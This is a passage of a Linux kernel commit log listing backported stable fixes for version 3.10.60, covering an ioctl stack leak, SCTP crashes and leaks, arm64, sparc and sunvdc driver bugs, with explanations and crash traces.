to dreq and reused across LD IO iterations. So I feel it's OK to free them in the generic layer. Signed-off-by: Peng Tao Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe2825b06cf500daa591c6db3f188d3776d9b12a Author: Stefan Richter Date: Tue Nov 11 17:16:44 2014 +0100 firewire: cdev: prevent kernel stack leaking into ioctl arguments commit eaca2d8e75e90a70a63a6695c9f61932609db212 upstream. Found by the UC-KLEE tool: A user could supply less input to firewire-cdev ioctls than write- or write/read-type ioctl handlers expect. The handlers used data from uninitialized kernel stack then. This could partially leak back to the user if the kernel subsequently generated fw_cdev_event_'s (to be read from the firewire-cdev fd) which notably would contain the _u64 closure field which many of the ioctl argument structures contain. The fact that the handlers would act on random garbage input is a lesser issue since all handlers must check their input anyway. The fix simply always null-initializes the entire ioctl argument buffer regardless of the actual length of expected user input. That is, a runtime overhead of memset(..., 40) is added to each firewirew-cdev ioctl() call. [Comment from Clemens Ladisch: This part of the stack is most likely to be already in the cache.] Remarks: - There was never any leak from kernel stack to the ioctl output buffer itself. IOW, it was not possible to read kernel stack by a read-type or write/read-type ioctl alone; the leak could at most happen in combination with read()ing subsequent event data. - The actual expected minimum user input of each ioctl from include/uapi/linux/firewire-cdev.h is, in bytes: [0x00] = 32, [0x05] = 4, [0x0a] = 16, [0x0f] = 20, [0x14] = 16, [0x01] = 36, [0x06] = 20, [0x0b] = 4, [0x10] = 20, [0x15] = 20, [0x02] = 20, [0x07] = 4, [0x0c] = 0, [0x11] = 0, [0x16] = 8, [0x03] = 4, [0x08] = 24, [0x0d] = 20, [0x12] = 36, [0x17] = 12, [0x04] = 20, [0x09] = 24, [0x0e] = 4, [0x13] = 40, [0x18] = 4. Reported-by: David Ramos Signed-off-by: Stefan Richter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a64eb388f9c8d05bba094570b0291b84e97d316d Author: Kyle McMartin Date: Wed Nov 12 21:07:44 2014 +0000 arm64: __clear_user: handle exceptions on strb commit 97fc15436b36ee3956efad83e22a557991f7d19d upstream. ARM64 currently doesn't fix up faults on the single-byte (strb) case of __clear_user... which means that we can cause a nasty kernel panic as an ordinary user with any multiple PAGE_SIZE+1 read from /dev/zero. i.e.: dd if=/dev/zero of=foo ibs=1 count=1 (or ibs=65537, etc.) This is a pretty obscure bug in the general case since we'll only __do_kernel_fault (since there's no extable entry for pc) if the mmap_sem is contended. However, with CONFIG_DEBUG_VM enabled, we'll always fault. if (!down_read_trylock(&mm->mmap_sem)) { if (!user_mode(regs) && !search_exception_tables(regs->pc)) goto no_context; retry: down_read(&mm->mmap_sem); } else { /* * The above down_read_trylock() might have succeeded in * which * case, we'll have missed the might_sleep() from * down_read(). */ might_sleep(); if (!user_mode(regs) && !search_exception_tables(regs->pc)) goto no_context; } Fix that by adding an extable entry for the strb instruction, since it touches user memory, similar to the other stores in __clear_user. Signed-off-by: Kyle McMartin Reported-by: MiloÅ¡ Prchlík Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a1a040102ed76d6a7f6ce49ea40d945a3d1a63d Author: Nathan Lynch Date: Mon Nov 10 23:46:27 2014 +0100 ARM: 8198/1: make kuser helpers depend on MMU commit 08b964ff3c51b10aaf2e6ba639f40054c09f0f7a upstream. The kuser helpers page is not set up on non-MMU systems, so it does not make sense to allow CONFIG_KUSER_HELPERS to be enabled when CONFIG_MMU=n. Allowing it to be set on !MMU results in an oops in set_tls (used in execve and the arm_syscall trap handler): Unhandled exception: IPSR = 00000005 LR = fffffff1 CPU: 0 PID: 1 Comm: swapper Not tainted 3.18.0-rc1-00041-ga30465a #216 task: 8b838000 ti: 8b82a000 task.ti: 8b82a000 PC is at flush_thread+0x32/0x40 LR is at flush_thread+0x21/0x40 pc : [<8f00157a>] lr : [<8f001569>] psr: 4100000b sp : 8b82be20 ip : 00000000 fp : 8b83c000 r10: 00000001 r9 : 88018c84 r8 : 8bb85000 r7 : 8b838000 r6 : 00000000 r5 : 8bb77400 r4 : 8b82a000 r3 : ffff0ff0 r2 : 8b82a000 r1 : 00000000 r0 : 88020354 xPSR: 4100000b CPU: 0 PID: 1 Comm: swapper Not tainted 3.18.0-rc1-00041-ga30465a #216 [<8f002bc1>] (unwind_backtrace) from [<8f002033>] (show_stack+0xb/0xc) [<8f002033>] (show_stack) from [<8f00265b>] (__invalid_entry+0x4b/0x4c) As best I can tell this issue existed for the set_tls ARM syscall before commit fbfb872f5f41 "ARM: 8148/1: flush TLS and thumbee register state during exec" consolidated the TLS manipulation code into the set_tls helper function, but now that we're using it to flush register state during execve, !MMU users encounter the oops at the first exec. Prevent CONFIG_MMU=n configurations from enabling CONFIG_KUSER_HELPERS. Fixes: fbfb872f5f41 (ARM: 8148/1: flush TLS and thumbee register state during exec) Signed-off-by: Nathan Lynch Reported-by: Stefan Agner Acked-by: Uwe Kleine-König Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee1909331408f291f647c6ff9814bac7369cd394 Author: Alex Deucher Date: Wed Nov 5 17:14:32 2014 -0500 drm/radeon: add missing crtc unlock when setting up the MC commit f0d7bfb9407fccb6499ec01c33afe43512a439a2 upstream. Need to unlock the crtc after updating the blanking state. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b362110ab1c06b1ef0da1df13bd07d9a4108eb4 Author: Johannes Berg Date: Mon Nov 3 13:57:46 2014 +0100 mac80211: fix use-after-free in defragmentation commit b8fff407a180286aa683d543d878d98d9fc57b13 upstream. Upon receiving the last fragment, all but the first fragment are freed, but the multicast check for statistics at the end of the function refers to the current skb (the last fragment) causing a use-after-free bug. Since multicast frames cannot be fragmented and we check for this early in the function, just modify that check to also do the accounting to fix the issue. Reported-by: Yosef Khyal Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df4e2c9f6d6308ba472a4b65b8b572593a2c113e Author: Herbert Xu Date: Mon Nov 3 14:01:25 2014 +0800 macvtap: Fix csum_start when VLAN tags are present commit 3ce9b20f1971690b8b3b620e735ec99431573b39 upstream. When VLAN is in use in macvtap_put_user, we end up setting csum_start to the wrong place. The result is that the whoever ends up doing the checksum setting will corrupt the packet instead of writing the checksum to the expected location, usually this means writing the checksum with an offset of -4. This patch fixes this by adjusting csum_start when VLAN tags are detected. Fixes: f09e2249c4f5 ("macvtap: restore vlan header on user read") Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: David S. Miller Signed-off-by: Pranav Vashi commit b8ebec204411fd1cc346ab5e90b1f156da6cd131 Author: Emmanuel Grumbach Date: Tue Sep 23 23:02:41 2014 +0300 iwlwifi: configure the LTR commit 9180ac50716a097a407c6d7e7e4589754a922260 upstream. The LTR is the handshake between the device and the root complex about the latency allowed when the bus exits power save. This configuration was missing and this led to high latency in the link power up. The end user could experience high latency in the network because of this. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7c2e9ebcff820b22a9c2559faf77f27b2978a33 Author: Ilya Dryomov Date: Thu Oct 23 00:25:22 2014 +0400 libceph: do not crash on large auth tickets commit aaef31703a0cf6a733e651885bfb49edc3ac6774 upstream. Large (greater than 32k, the value of PAGE_ALLOC_COSTLY_ORDER) auth tickets will have their buffers vmalloc'ed, which leads to the following crash in crypto: [ 28.685082] BUG: unable to handle kernel paging request at ffffeb04000032c0 [ 28.686032] IP: [] scatterwalk_pagedone+0x22/0x80 [ 28.686032] PGD 0 [ 28.688088] Oops: 0000 [#1] PREEMPT SMP [ 28.688088] Modules linked in: [ 28.688088] CPU: 0 PID: 878 Comm: kworker/0:2 Not tainted 3.17.0-vm+ #305 [ 28.688088] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 [ 28.688088] Workqueue: ceph-msgr con_work [ 28.688088] task: ffff88011a7f9030 ti: ffff8800d903c000 task.ti: ffff8800d903c000 [ 28.688088] RIP: 0010:[] [] scatterwalk_pagedone+0x22/0x80 [ 28.688088] RSP: 0018:ffff8800d903f688 EFLAGS: 00010286 [ 28.688088] RAX: ffffeb04000032c0 RBX: ffff8800d903f718 RCX: ffffeb04000032c0 [ 28.688088] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8800d903f750 [ 28.688088] RBP: ffff8800d903f688 R08: 00000000000007de R09: ffff8800d903f880 [ 28.688088] R10: 18df467c72d6257b R11: 0000000000000000 R12: 0000000000000010 [ 28.688088] R13: ffff8800d903f750 R14: ffff8800d903f8a0 R15: 0000000000000000 [ 28.688088] FS: 00007f50a41c7700(0000) GS:ffff88011fc00000(0000) knlGS:0000000000000000 [ 28.688088] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 28.688088] CR2: ffffeb04000032c0 CR3: 00000000da3f3000 CR4: 00000000000006b0 [ 28.688088] Stack: [ 28.688088] ffff8800d903f698 ffffffff81392ca8 ffff8800d903f6e8 ffffffff81395d32 [ 28.688088] ffff8800dac96000 ffff880000000000 ffff8800d903f980 ffff880119b7e020 [ 28.688088] ffff880119b7e010 0000000000000000 0000000000000010 0000000000000010 [ 28.688088] Call Trace: [ 28.688088] [] scatterwalk_done+0x38/0x40 [ 28.688088] [] scatterwalk_done+0x38/0x40 [ 28.688088] [] blkcipher_walk_done+0x182/0x220 [ 28.688088] [] crypto_cbc_encrypt+0x15f/0x180 [ 28.688088] [] ? crypto_aes_set_key+0x30/0x30 [ 28.688088] [] ceph_aes_encrypt2+0x29c/0x2e0 [ 28.688088] [] ceph_encrypt2+0x93/0xb0 [ 28.688088] [] ceph_x_encrypt+0x4a/0x60 [ 28.688088] [] ? ceph_buffer_new+0x5d/0xf0 [ 28.688088] [] ceph_x_build_authorizer.isra.6+0x297/0x360 [ 28.688088] [] ? kmem_cache_alloc_trace+0x11b/0x1c0 [ 28.688088] [] ? ceph_auth_create_authorizer+0x36/0x80 [ 28.688088] [] ceph_x_create_authorizer+0x63/0xd0 [ 28.688088] [] ceph_auth_create_authorizer+0x54/0x80 [ 28.688088] [] get_authorizer+0x80/0xd0 [ 28.688088] [] prepare_write_connect+0x18b/0x2b0 [ 28.688088] [] try_read+0x1e59/0x1f10 This is because we set up crypto scatterlists as if all buffers were kmalloc'ed. Fix it. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de925fb0fe66dc82d75fc891ee342c5e4c6eac9f Author: Max Filippov Date: Mon Oct 6 21:01:17 2014 +0400 xtensa: re-wire umount syscall to sys_oldumount commit 2651cc6974d47fc43bef1cd8cd26966e4f5ba306 upstream. Userspace actually passes single parameter (path name) to the umount syscall, so new umount just fails. Fix it by requesting old umount syscall implementation and re-wiring umount to it. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aea696decb5937213f47cd4d4f49855e67c977e8 Author: Takashi Iwai Date: Tue Nov 11 15:45:57 2014 +0100 ALSA: usb-audio: Fix memory leak in FTU quirk commit 1a290581ded60e87276741f8ca97b161d2b226fc upstream. M-audio FastTrack Ultra quirk doesn't release the kzalloc'ed memory. This patch adds the private_free callback to release it properly. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b35219c513e16f135706c79ff57d3bf7a45c6d72 Author: Tejun Heo Date: Mon Oct 27 10:22:56 2014 -0400 ahci: disable MSI instead of NCQ on Samsung pci-e SSDs on macbooks commit 66a7cbc303f4d28f201529b06061944d51ab530c upstream. Samsung pci-e SSDs on macbooks failed miserably on NCQ commands, so 67809f85d31e ("ahci: disable NCQ on Samsung pci-e SSDs on macbooks") disabled NCQ on them. It turns out that NCQ is fine as long as MSI is not used, so let's turn off MSI and leave NCQ on. Signed-off-by: Tejun Heo Link: https://bugzilla.kernel.org/show_bug.cgi?id=60731 Tested-by: Tested-by: Imre Kaloz Fixes: 67809f85d31e ("ahci: disable NCQ on Samsung pci-e SSDs on macbooks") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 62527a9be0d23acb977bbc9308f1ae94cc2e5a12 Author: James Ralston Date: Mon Oct 13 15:16:38 2014 -0700 ahci: Add Device IDs for Intel Sunrise Point PCH commit 690000b930456a98663567d35dd5c54b688d1e3f upstream. This patch adds the AHCI-mode SATA Device IDs for the Intel Sunrise Point PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0589d5e6b008c24128bad11e23042c5518c90570 Author: Miklos Szeredi Date: Tue Nov 4 11:27:12 2014 +0100 audit: keep inode pinned commit 799b601451b21ebe7af0e6e8f6e2ccd4683c5064 upstream. Audit rules disappear when an inode they watch is evicted from the cache. This is likely not what we want. The guilty commit is "fsnotify: allow marks to not pin inodes in core", which didn't take into account that audit_tree adds watches with a zero mask. Adding any mask should fix this. Fixes: 90b1e7a57880 ("fsnotify: allow marks to not pin inodes in core") Signed-off-by: Miklos Szeredi Signed-off-by: Paul Moore Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1fe2d44ed03fd04697923af821556f1238bdc80d Author: Andy Lutomirski Date: Fri Sep 5 15:13:52 2014 -0700 x86, x32, audit: Fix x32's AUDIT_ARCH wrt audit commit 81f49a8fd7088cfcb588d182eeede862c0e3303e upstream. is_compat_task() is the wrong check for audit arch; the check should be is_ia32_task(): x32 syscalls should be AUDIT_ARCH_X86_64, not AUDIT_ARCH_I386. CONFIG_AUDITSYSCALL is currently incompatible with x32, so this has no visible effect. Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/a0138ed8c709882aec06e4acc30bfa9b623b8717.1409954077.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8349bc5cf2949e21a130daba0e2b4648c595abb9 Author: Andreas Larsson Date: Wed Nov 5 15:52:08 2014 +0100 sparc32: Implement xchg and atomic_xchg using ATOMIC_HASH locks [ Upstream commit 1a17fdc4f4ed06b63fac1937470378a5441a663a ] Atomicity between xchg and cmpxchg cannot be guaranteed when xchg is implemented with a swap and cmpxchg is implemented with locks. Without this, e.g. mcs_spin_lock and mcs_spin_unlock are broken. Signed-off-by: Andreas Larsson Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aca43828d89115581c58a0130e15ecb872549cc3 Author: David S. Miller Date: Fri Nov 7 09:50:48 2014 -0800 sparc64: Do irq_{enter,exit}() around generic_smp_call_function*(). [ Upstream commit ab5c780913bca0a5763ca05dd5c2cb5cb08ccb26 ] Otherwise rcu_irq_{enter,exit}() do not happen and we get dumps like: ==================== [ 188.275021] =============================== [ 188.309351] [ INFO: suspicious RCU usage. ] [ 188.343737] 3.18.0-rc3-00068-g20f3963-dirty #54 Not tainted [ 188.394786] ------------------------------- [ 188.429170] include/linux/rcupdate.h:883 rcu_read_lock() used illegally while idle! [ 188.505235] other info that might help us debug this: [ 188.554230] RCU used illegally from idle CPU! rcu_scheduler_active = 1, debug_locks = 0 [ 188.637587] RCU used illegally from extended quiescent state! [ 188.690684] 3 locks held by swapper/7/0: [ 188.721932] #0: (&x->wait#11){......}, at: [<0000000000495de8>] complete+0x8/0x60 [ 188.797994] #1: (&p->pi_lock){-.-.-.}, at: [<000000000048510c>] try_to_wake_up+0xc/0x400 [ 188.881343] #2: (rcu_read_lock){......}, at: [<000000000048a910>] select_task_rq_fair+0x90/0xb40 [ 188.973043]stack backtrace: [ 188.993879] CPU: 7 PID: 0 Comm: swapper/7 Not tainted 3.18.0-rc3-00068-g20f3963-dirty #54 [ 189.076187] Call Trace: [ 189.089719] [0000000000499360] lockdep_rcu_suspicious+0xe0/0x100 [ 189.147035] [000000000048a99c] select_task_rq_fair+0x11c/0xb40 [ 189.202253] [00000000004852d8] try_to_wake_up+0x1d8/0x400 [ 189.252258] [000000000048554c] default_wake_function+0xc/0x20 [ 189.306435] [0000000000495554] __wake_up_common+0x34/0x80 [ 189.356448] [00000000004955b4] __wake_up_locked+0x14/0x40 [ 189.406456] [0000000000495e08] complete+0x28/0x60 [ 189.448142] [0000000000636e28] blk_end_sync_rq+0x8/0x20 [ 189.496057] [0000000000639898] __blk_mq_end_request+0x18/0x60 [ 189.550249] [00000000006ee014] scsi_end_request+0x94/0x180 [ 189.601286] [00000000006ee334] scsi_io_completion+0x1d4/0x600 [ 189.655463] [00000000006e51c4] scsi_finish_command+0xc4/0xe0 [ 189.708598] [00000000006ed958] scsi_softirq_done+0x118/0x140 [ 189.761735] [00000000006398ec] __blk_mq_complete_request_remote+0xc/0x20 [ 189.827383] [00000000004c75d0] generic_smp_call_function_single_interrupt+0x150/0x1c0 [ 189.906581] [000000000043e514] smp_call_function_single_client+0x14/0x40 ==================== Based almost entirely upon a patch by Paul E. McKenney. Reported-by: Meelis Roos Tested-by: Meelis Roos Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd84010de23c6930647297484d9dff4b05faa0c2 Author: David S. Miller Date: Sat Nov 1 00:33:58 2014 -0400 sparc64: Fix crashes in schizo_pcierr_intr_other(). [ Upstream commit 7da89a2a3776442a57e918ca0b8678d1b16a7072 ] Meelis Roos reports crashes during bootup on a V480 that look like this: ==================== [ 61.300577] PCI: Scanning PBM /pci@9,600000 [ 61.304867] schizo f009b070: PCI host bridge to bus 0003:00 [ 61.310385] pci_bus 0003:00: root bus resource [io 0x7ffe9000000-0x7ffe9ffffff] (bus address [0x0000-0xffffff]) [ 61.320515] pci_bus 0003:00: root bus resource [mem 0x7fb00000000-0x7fbffffffff] (bus address [0x00000000-0xffffffff]) [ 61.331173] pci_bus 0003:00: root bus resource [bus 00] [ 61.385344] Unable to handle kernel NULL pointer dereference [ 61.390970] tsk->{mm,active_mm}->context = 0000000000000000 [ 61.396515] tsk->{mm,active_mm}->pgd = fff000b000002000 [ 61.401716] \|/ ____ \|/ [ 61.401716] "@'/ .. \`@" [ 61.401716] /_| \__/ |_\ [ 61.401716] \__U_/ [ 61.416362] swapper/0(0): Oops [#1] [ 61.419837] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.18.0-rc1-00422-g2cc9188-dirty #24 [ 61.427975] task: fff000b0fd8e9c40 ti: fff000b0fd928000 task.ti: fff000b0fd928000 [ 61.435426] TSTATE: 0000004480e01602 TPC: 00000000004455e4 TNPC: 00000000004455e8 Y: 00000000 Not tainted [ 61.445230] TPC: [ 61.449897] g0: 0000000000000000 g1: 0000000000000000 g2: 0000000000a10f78 g3: 000000000000000a [ 61.458563] g4: fff000b0fd8e9c40 g5: fff000b0fdd82000 g6: fff000b0fd928000 g7: 000000000000000a [ 61.467229] o0: 000000000000003d o1: 0000000000000000 o2: 0000000000000006 o3: fff000b0ffa5fc7e [ 61.475894] o4: 0000000000060000 o5: c000000000000000 sp: fff000b0ffa5f3c1 ret_pc: 00000000004455cc [ 61.484909] RPC: [ 61.489500] l0: fff000b0fd8e9c40 l1: 0000000000a20800 l2: 0000000000000000 l3: 000000000119a430 [ 61.498164] l4: 0000000001742400 l5: 00000000011cfbe0 l6: 00000000011319c0 l7: fff000b0fd8ea348 [ 61.506830] i0: 0000000000000000 i1: fff000b0fdb34000 i2: 0000000320000000 i3: 0000000000000000 [ 61.515497] i4: 00060002010b003f i5: 0000040004e02000 i6: fff000b0ffa5f481 i7: 00000000004a9920 [ 61.524175] I7: [ 61.529099] Call Trace: [ 61.531531] [00000000004a9920] handle_irq_event_percpu+0x40/0x140 [ 61.537681] [00000000004a9a58] handle_irq_event+0x38/0x80 [ 61.543145] [00000000004ac77c] handle_fasteoi_irq+0xbc/0x200 [ 61.548860] [00000000004a9084] generic_handle_irq+0x24/0x40 [ 61.554500] [000000000042be0c] handler_irq+0xac/0x100 ==================== The problem is that pbm->pci_bus->self is NULL. This code is trying to go through the standard PCI config space interfaces to read the PCI controller's PCI_STATUS register. This doesn't work, because we more often than not do not enumerate the PCI controller as a bonafide PCI device during the OF device node scan. Therefore bus->self remains NULL. Existing common code for PSYCHO and PSYCHO-like PCI controllers handles this properly, by doing the config space access directly. Do the same here, pbm->pci_ops->{read,write}(). Reported-by: Meelis Roos Tested-by: Meelis Roos Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdb990ccb111bc42b3389601b91b806be8af538b Author: Dwight Engen Date: Thu Oct 30 15:55:35 2014 -0400 sunvdc: don't call VD_OP_GET_VTOC [ Upstream commit 85b0c6e62c48bb9179fd5b3e954f362fb346cbd5 ] The VD_OP_GET_VTOC operation will succeed only if the vdisk backend has a VTOC label, otherwise it will fail. In particular, it will return error 48 (ENOTSUP) if the disk has an EFI label. VTOC disk labels are already handled by directly reading the disk in block/partitions/sun.c (enabled by CONFIG_SUN_PARTITION which defaults to y on SPARC). Since port->label is unused in the driver, remove the call and the field. Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebe3338e60232ee934262a3803d4c6ef47c93093 Author: Dwight Engen Date: Fri Sep 19 09:43:02 2014 -0400 vio: fix reuse of vio_dring slot [ Upstream commit d0aedcd4f14a22e23b313f42b7e6e6ebfc0fbc31 ] vio_dring_avail() will allow use of every dring entry, but when the last entry is allocated then dr->prod == dr->cons which is indistinguishable from the ring empty condition. This causes the next allocation to reuse an entry. When this happens in sunvdc, the server side vds driver begins nack'ing the messages and ends up resetting the ldc channel. This problem does not effect sunvnet since it checks for < 2. The fix here is to just never allocate the very last dring slot so that full and empty are not the same condition. The request start path was changed to check for the ring being full a bit earlier, and to stop the blk_queue if there is no space left. The blk_queue will be restarted once the ring is only half full again. The number of ring entries was increased to 512 which matches the sunvnet and Solaris vdc drivers, and greatly reduces the frequency of hitting the ring full condition and the associated blk_queue stop/starting. The checks in sunvent were adjusted to account for vio_dring_avail() returning 1 less. Orabug: 19441666 OraBZ: 14983 Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5451673a9b3d065735e3318c30f02a0862e489d5 Author: Dwight Engen Date: Fri Sep 19 09:42:53 2014 -0400 sunvdc: limit each sg segment to a page [ Upstream commit 5eed69ffd248c9f68f56c710caf07db134aef28b ] ldc_map_sg() could fail its check that the number of pages referred to by the sg scatterlist was <= the number of cookies. This fixes the issue by doing a similar thing to the xen-blkfront driver, ensuring that the scatterlist will only ever contain a segment count <= port->ring_cookies, and each segment will be page aligned, and <= page size. This ensures that the scatterlist is always mappable. Orabug: 19347817 OraBZ: 15945 Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f52ec08bff49624f61bb164476625901a5a9e9e8 Author: Allen Pais Date: Fri Sep 19 09:42:26 2014 -0400 sunvdc: compute vdisk geometry from capacity [ Upstream commit de5b73f08468b4fc5e2f6d1505f650262622f78b ] The LDom diskserver doesn't return reliable geometry data. In addition, the types for all fields in the vio_disk_geom are u16, which were being truncated in the cast into the u8's of the Linux struct hd_geometry. Modify vdc_getgeo() to compute the geometry from the disk's capacity in a manner consistent with xen-blkfront::blkif_getgeo(). Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38ebf31896a363e1a4e821c48e0e89bd637aff71 Author: Allen Pais Date: Fri Sep 19 09:42:14 2014 -0400 sunvdc: add cdrom and v1.1 protocol support [ Upstream commit 9bce21828d54a95143f1b74619705c2dd8e88b92 ] Interpret the media type from v1.1 protocol to support CDROM/DVD. For v1.0 protocol, a disk's size continues to be calculated from the geometry returned by the vdisk server. The geometry returned by the server can be less than the actual number of sectors available in the backing image/device due to the rounding in the division used to compute the geometry in the vdisk server. In v1.1 protocol a disk's actual size in sectors is returned during the handshake. Use this size when v1.1 protocol is negotiated. Since this size will always be larger than the former geometry computed size, disks created under v1.0 will be forwards compatible to v1.1, but not vice versa. Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 664b3652c873560b80a7c08ac2959504878d571a Author: Daniel Borkmann Date: Mon Nov 10 18:00:09 2014 +0100 net: sctp: fix memory leak in auth key management [ Upstream commit 4184b2a79a7612a9272ce20d639934584a1f3786 ] A very minimal and simple user space application allocating an SCTP socket, setting SCTP_AUTH_KEY setsockopt(2) on it and then closing the socket again will leak the memory containing the authentication key from user space: unreferenced object 0xffff8800837047c0 (size 16): comm "a.out", pid 2789, jiffies 4296954322 (age 192.258s) hex dump (first 16 bytes): 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [] kmemleak_alloc+0x4e/0xb0 [] __kmalloc+0xe8/0x270 [] sctp_auth_create_key+0x23/0x50 [sctp] [] sctp_auth_set_key+0xa1/0x140 [sctp] [] sctp_setsockopt+0xd03/0x1180 [sctp] [] sock_common_setsockopt+0x14/0x20 [] SyS_setsockopt+0x71/0xd0 [] system_call_fastpath+0x12/0x17 [] 0xffffffffffffffff This is bad because of two things, we can bring down a machine from user space when auth_enable=1, but also we would leave security sensitive keying material in memory without clearing it after use. The issue is that sctp_auth_create_key() already sets the refcount to 1, but after allocation sctp_auth_set_key() does an additional refcount on it, and thus leaving it around when we free the socket. Fixes: 65b07e5d0d0 ("[SCTP]: API updates to suport SCTP-AUTH extensions.") Signed-off-by: Daniel Borkmann Cc: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57a0a7d90631ef5b2a35d6b095f0bac03cf10e68 Author: Daniel Borkmann Date: Mon Nov 10 17:54:26 2014 +0100 net: sctp: fix NULL pointer dereference in af->from_addr_param on malformed packet [ Upstream commit e40607cbe270a9e8360907cb1e62ddf0736e4864 ] An SCTP server doing ASCONF will panic on malformed INIT ping-of-death in the form of: ------------ INIT[PARAM: SET_PRIMARY_IP] ------------> While the INIT chunk parameter verification dissects through many things in order to detect malformed input, it misses to actually check parameters inside of parameters. E.g. RFC5061, section 4.2.4 proposes a 'set primary IP address' parameter in ASCONF, which has as a subparameter an address parameter. So an attacker may send a parameter type other than SCTP_PARAM_IPV4_ADDRESS or SCTP_PARAM_IPV6_ADDRESS, param_type2af() will subsequently return 0 and thus sctp_get_af_specific() returns NULL, too, which we then happily dereference unconditionally through af->from_addr_param(). The trace for the log: BUG: unable to handle kernel NULL pointer dereference at 0000000000000078 IP: [] sctp_process_init+0x492/0x990 [sctp] PGD 0 Oops: 0000 [#1] SMP [...] Pid: 0, comm: swapper Not tainted 2.6.32-504.el6.x86_64 #1 Bochs Bochs RIP: 0010:[] [] sctp_process_init+0x492/0x990 [sctp] [...] Call Trace: [] ? sctp_bind_addr_copy+0x5d/0xe0 [sctp] [] sctp_sf_do_5_1B_init+0x21b/0x340 [sctp] [] sctp_do_sm+0x71/0x1210 [sctp] [] ? sctp_endpoint_lookup_assoc+0xc9/0xf0 [sctp] [] sctp_endpoint_bh_rcv+0x116/0x230 [sctp] [] sctp_inq_push+0x56/0x80 [sctp] [] sctp_rcv+0x982/0xa10 [sctp] [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [...] A minimal way to address this is to check for NULL as we do on all other such occasions where we know sctp_get_af_specific() could possibly return with NULL. Fixes: d6de3097592b ("[SCTP]: Add the handling of "Set Primary IP Address" parameter to INIT") Signed-off-by: Daniel Borkmann Cc: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02bd3d90d1fcd478d3416550d704d4315f9f45b8 Author: Steffen Klassert Date: Mon Nov 3 09:19:30 2014 +0100 gre6: Move the setting of dev->iflink into the ndo_init functions. [ Upstream commit f03eb128e3f4276f46442d14f3b8f864f3775821 ] Otherwise it gets overwritten by register_netdev(). Signed-off-by: Steffen Klassert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89203bb2874db2a61b0e0797af27c6aa5b7570d8 Author: Steffen Klassert Date: Mon Nov 3 09:19:27 2014 +0100 ip6_tunnel: Use ip6_tnl_dev_init as the ndo_init function. [ Upstream commit 6c6151daaf2d8dc2046d9926539feed5f66bf74e ] ip6_tnl_dev_init() sets the dev->iflink via a call to ip6_tnl_link_config(). After that, register_netdevice() sets dev->iflink = -1. So we loose the iflink configuration for ipv6 tunnels. Fix this by using ip6_tnl_dev_init() as the ndo_init function. Then ip6_tnl_dev_init() is called after dev->iflink is set to -1 from register_netdevice(). Signed-off-by: Steffen Klassert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49946060858d3ab873551b8386e90a6b9a214e32 Author: Greg Kroah-Hartman Date: Fri Nov 14 08:48:23 2014 -0800 Linux 3.10.60 Signed-off-by: Pranav Vashi commit c3f7a4b266bb69dcbe4f46744ca0acfd9a8ff30c Author: Ilya Dryomov Date: Fri Oct 10 16:39:05 2014 +0400 libceph: ceph-msgr workqueue needs a resque worker commit f9865f06f7f18c6661c88d0511f05c48612319cc upstream. Commit f363e45fd118 ("net/ceph: make ceph_msgr_wq non-reentrant") effectively removed WQ_MEM_RECLAIM 